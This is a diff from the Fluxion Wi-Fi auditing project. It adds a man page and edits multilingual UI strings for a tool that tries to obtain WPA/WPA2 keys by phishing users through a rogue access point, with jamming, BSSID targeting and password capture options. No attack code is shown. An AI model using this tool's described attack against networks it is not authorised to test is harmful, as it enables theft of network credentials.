.SH "SEE ALSO"
|
||||||
|
.BR aircrack-ng (8),
|
|
@ -0,0 +1,92 @@
|
||||||
|
FLUXION(1) User Manuals FLUXION(1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
NAME
|
||||||
|
fluxion - Fluxion is a security auditing and social-engineering
|
||||||
|
research tool
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
fluxion [-debug] [-l language ] attack ...
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||||
|
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||||
|
target access point by means of a social engineering (phising) attack.
|
||||||
|
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||||
|
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||||
|
some of the attacks' setup parameters.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
-v Print version number.
|
||||||
|
|
||||||
|
--help Print help page and exit with 0.
|
||||||
|
|
||||||
|
-m Run fluxion in manual mode instead of auto mode.
|
||||||
|
|
||||||
|
-k Kill wireless connection if it is connected.
|
||||||
|
|
||||||
|
-d Run fluxion in debug mode.
|
||||||
|
|
||||||
|
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
|
||||||
|
-r Reload driver.
|
||||||
|
|
||||||
|
-l <language>
|
||||||
|
Define a certain language.
|
||||||
|
|
||||||
|
-e <essid>
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
|
||||||
|
-c <channel>
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
|
||||||
|
-a <attack>
|
||||||
|
Define a certain attack.
|
||||||
|
|
||||||
|
--ratio <ratio>
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
|
||||||
|
-b <bssid>
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
|
||||||
|
-j <jamming interface>
|
||||||
|
Define a certain jamming interface.
|
||||||
|
|
||||||
|
-a <access point interface>
|
||||||
|
Define a certain access point interface.
|
||||||
|
|
||||||
|
FILES
|
||||||
|
/tmp/fluxspace/
|
||||||
|
The system wide tmp directory.
|
||||||
|
$FLUXION/attacks/
|
||||||
|
Folder where handshakes and passwords are stored in.
|
||||||
|
|
||||||
|
ENVIRONMENT
|
||||||
|
FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
|
||||||
|
FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
|
||||||
|
FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
|
||||||
|
DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use the debug mode.
|
||||||
|
|
||||||
|
BUGS
|
||||||
|
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||||
|
ion/issues
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
|
||||||
|
SEE ALSO
|
||||||
|
aircrack-ng(8),
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Linux MARCH 2018 FLUXION(1)
|
1025
fluxion.sh
1025
fluxion.sh
File diff suppressed because it is too large
Load Diff
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
FLUXIONScannerChannelQuery="Vyberte kanál"
|
FLUXIONScannerChannelQuery="Vyberte kanál"
|
||||||
FLUXIONScannerChannelOptionAll="Všechny kanály"
|
FLUXIONScannerChannelOptionAll="Všechny kanály"
|
||||||
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
|
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Jeden kanál"
|
FLUXIONScannerChannelSingleTip="Jeden kanál"
|
||||||
FLUXIONScannerChannelMiltipleTip="Více kanálů"
|
FLUXIONScannerChannelMiltipleTip="Více kanálů"
|
||||||
|
|
|
@ -2,26 +2,26 @@
|
||||||
# German
|
# German
|
||||||
# native: Deutsch
|
# native: Deutsch
|
||||||
|
|
||||||
FLUXIONInterfaceQuery="Wähle deine Netzwerkkarte aus"
|
FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus"
|
||||||
FLUXIONUnblockingWINotice="Entferne den Softblock von allen Netzwerkkarten..."
|
FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..."
|
||||||
FLUXIONFindingExtraWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..."
|
||||||
FLUXIONRemovingExtraWINotice="Entferne freme drahtlose Netzwerkkarten..."
|
FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..."
|
||||||
FLUXIONFindingWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
FLUXIONFindingWINotice="Suche nach Netzwerkkarten..."
|
||||||
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in benutzung"
|
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung"
|
||||||
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor du FLUXION nutzt."
|
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor Sie FLUXION benutzen"
|
||||||
FLUXIONGatheringWIInfoNotice="Sammeln der Daten von allen Netzwerken..."
|
FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..."
|
||||||
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
|
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
|
||||||
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
||||||
FLUXIONLoadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$wiSelected\"..."
|
||||||
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
|
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
|
||||||
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
|
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
|
||||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
|
||||||
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im Monitor Mode"
|
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode"
|
||||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
|
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
|
||||||
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
|
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
|
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
|
||||||
FLUXIONStartingScannerTip="Wenn nach etwa 5 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
||||||
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
|
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
|
||||||
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
|
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
|
||||||
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
|
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
|
||||||
|
@ -30,14 +30,15 @@ FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht"
|
||||||
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
|
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
|
||||||
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
|
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
|
||||||
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
|
||||||
FLUXIONAbsolutePathInfo="Geben sie den Absoluten Pfad ein"
|
FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkkanal aus"
|
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus"
|
||||||
FLUXIONScannerChannelOptionAll="Alle Netzwerkkanäle"
|
FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen"
|
||||||
FLUXIONScannerChannelOptionSpecific="Spezifische Kanal(e)"
|
FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Einzelner Kanal"
|
FLUXIONScannerChannelSingleTip="Einzelne Frequenz"
|
||||||
FLUXIONScannerChannelMiltipleTip="Mehrere Kanäle"
|
FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerHeader="FLUXION Scanner"
|
FLUXIONScannerHeader="FLUXION Scanner"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
@ -48,15 +49,15 @@ FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Langsame Verbindung
|
||||||
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
|
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
|
||||||
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
|
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
|
||||||
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
|
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
|
||||||
FLUXIONFoundHashNotice="Ein hash wurde für das Netzwerk gefunden"
|
FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden"
|
||||||
FLUXIONUseFoundHashQuery="Möchten sie dieses Netzwerk nutzen"
|
FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?"
|
||||||
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu Verifizieren"
|
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren"
|
||||||
FLUXIONHashVerificationMethodPyritOption="Pyrit Verifizierung (${CGrn}Empfohlen$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung (${CGrn}Empfohlen$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="Aircrack Verfizierung (${CYel}Unglaubwürdig$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
|
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
|
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
|
||||||
FLUXIONSelectAnotherAttackOption="Wähle einen anderen Angriff"
|
FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONGeneralBackOption="${CRed}Zurück"
|
FLUXIONGeneralBackOption="${CRed}Zurück"
|
||||||
FLUXIONGeneralExitOption="${CRed}Ausgang"
|
FLUXIONGeneralExitOption="${CRed}Ausgang"
|
||||||
|
@ -65,7 +66,7 @@ FLUXIONGeneralNotFoundError="Nicht gefunden"
|
||||||
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
|
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
|
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
|
||||||
FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr"
|
FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr"
|
||||||
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
|
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
|
||||||
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
|
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
|
||||||
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"
|
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"
|
||||||
|
|
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου"
|
||||||
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
|
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
|
||||||
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
|
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
|
||||||
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
|
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
|
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
|
||||||
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"
|
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"
|
||||||
|
|
|
@ -3,22 +3,36 @@
|
||||||
# native: English
|
# native: English
|
||||||
|
|
||||||
FLUXIONInterfaceQuery="Select a wireless interface"
|
FLUXIONInterfaceQuery="Select a wireless interface"
|
||||||
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..."
|
FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||||
FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||||
|
FLUXIONReidentifyingInterface="Renaming interface."
|
||||||
|
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces."
|
||||||
|
|
||||||
|
FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking."
|
||||||
|
|
||||||
|
#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
||||||
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
|
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
|
||||||
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
|
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
|
||||||
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
|
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
|
||||||
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}."
|
||||||
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
|
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
|
||||||
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
||||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..."
|
||||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..."
|
||||||
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
|
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
|
||||||
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
|
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
|
||||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
||||||
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
|
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
|
||||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
|
FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!"
|
||||||
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
|
FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!"
|
||||||
|
|
||||||
|
|
||||||
|
FLUXIONIncompleteTargettingInfoNotice="Missing essid, bssid, or channel information!"
|
||||||
|
|
||||||
|
FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above."
|
||||||
|
|
||||||
|
FLUXIONContinueWithTargetQuery="Continue with this target?"
|
||||||
|
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
|
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
|
||||||
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
||||||
|
@ -29,8 +43,10 @@ FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||||
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)"
|
||||||
|
FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank."
|
||||||
FLUXIONAbsolutePathInfo="Absolute path"
|
FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
|
FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file."
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Select a channel to monitor"
|
FLUXIONScannerChannelQuery="Select a channel to monitor"
|
||||||
FLUXIONScannerChannelOptionAll="All channels"
|
FLUXIONScannerChannelOptionAll="All channels"
|
||||||
|
@ -41,23 +57,23 @@ FLUXIONScannerChannelMiltipleTip="Multiple channels"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerHeader="FLUXION Scanner"
|
FLUXIONScannerHeader="FLUXION Scanner"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAPServiceQuery="Select an access point service"
|
|
||||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
|
||||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||||
FLUXIONHashSourcePathOption="Path to capture file"
|
FLUXIONHashSourcePathOption="Path to capture file"
|
||||||
FLUXIONHashSourceRescanOption="Handshake directory (rescan)"
|
FLUXIONHashSourceRescanOption="Rescan handshake directory"
|
||||||
FLUXIONFoundHashNotice="A hash for the target AP was found."
|
FLUXIONFoundHashNotice="A hash for the target AP was found."
|
||||||
FLUXIONUseFoundHashQuery="Do you want to use this file?"
|
FLUXIONUseFoundHashQuery="Do you want to use this file?"
|
||||||
|
FLUXIONUseFoundHashOption="Use hash found"
|
||||||
|
FLUXIONSpecifyHashPathOption="Specify path to hash"
|
||||||
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
|
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
|
||||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Select a wireless attack for the access point"
|
FLUXIONAttackQuery="Select a wireless attack for the access point"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attack in progress..."
|
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..."
|
||||||
FLUXIONSelectAnotherAttackOption="Select another attack"
|
FLUXIONSelectAnotherAttackOption="Select another attack"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONGeneralSkipOption="${CYel}Skip"
|
||||||
FLUXIONGeneralBackOption="${CRed}Back"
|
FLUXIONGeneralBackOption="${CRed}Back"
|
||||||
FLUXIONGeneralExitOption="${CRed}Exit"
|
FLUXIONGeneralExitOption="${CRed}Exit"
|
||||||
FLUXIONGeneralRepeatOption="${CRed}Repeat"
|
FLUXIONGeneralRepeatOption="${CRed}Repeat"
|
||||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="FLUXION Escáner"
|
||||||
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
|
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
|
||||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
|
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
|
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||||
FLUXIONHashSourcePathOption="Path to capture file"
|
FLUXIONHashSourcePathOption="Path to capture file"
|
||||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="Scanner FLUXION"
|
||||||
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
|
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
|
||||||
